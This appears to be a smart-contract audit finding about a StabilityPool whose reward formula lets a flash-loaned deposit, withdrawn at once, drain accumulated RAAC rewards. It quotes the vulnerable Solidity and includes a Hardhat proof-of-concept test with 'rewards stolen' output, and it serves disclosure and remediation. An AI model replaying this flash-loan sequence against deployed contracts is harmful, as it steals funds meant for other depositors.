Summary
StabilityPool
contract allows users to deposit RToken to benefit rewards. However, the current reward mechanism is flaw, which can allow an attacker to steal reward tokens from contract.
Vulnerability Details
The function StabilityPool::deposit()
allows users to deposit RToken and receive DEToken with rate 1:1. It also allows users to withdraw their RToken by burning DEToken at rate 1:1 and also claim rewards. The amount of reward is computed as (totalRewards * userDeposit) / totalDeposits
with totalDeposits
is the current total supply of DEToken and totalRewards
is the current reward balance of Stability Pool contract.
Here, the vulnerability exists because the user reward amount is proportional to the ratio userDeposit / totalDeposits
which is the user's share of DEToken supply. This allows an attack vector in which the attacker can flashloan large amount of reserve token -> deposit into LendingPool to mint large amount of RToken -> deposit RToken into Stability Pool to increase the ratio userDeposit / totalDeposits
-> withdraw RToken, including rewards -> repay flashloan.
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
@> uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
@> raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
function calculateRaacRewards(address user) public view returns (uint256) {
@> uint256 userDeposit = userDeposits[user];
@> uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
@> return (totalRewards * userDeposit) / totalDeposits;
}
PoC
describe("Deposits", function () {
it.only("stealing rewards", async function(){
const depositAmount = ethers.parseEther("50");
await stabilityPool.connect(user2).deposit(depositAmount);
let user3RewardBalanceBefore = await raacToken.balanceOf(user3.address);
let flashloanAmount = ethers.parseEther("5000")
await crvusd.mint(user3.address, flashloanAmount);
await crvusd.connect(user3).approve(lendingPool.target, flashloanAmount);
await lendingPool.connect(user3).deposit(flashloanAmount);
await rToken.connect(user3).approve(stabilityPool.target, flashloanAmount)
await stabilityPool.connect(user3).deposit(flashloanAmount);
await stabilityPool.connect(user3).withdraw(flashloanAmount)
await lendingPool.connect(user3).withdraw(flashloanAmount);
let user3RewardBalanceAfter = await raacToken.balanceOf(user3.address);
let rewardsTaken = user3RewardBalanceAfter - user3RewardBalanceBefore;
console.log(`rewards stolen\t ${rewardsTaken}`)
})
Run the test and console shows:
StabilityPool
Core Functionality
Deposits
rewards stolen 4311056105610561041
✔ stealing rewards (40ms)
1 passing (2s)
Impact
Tools Used
Manual
Recommendations
Consider using time-weighted rewarding mechanism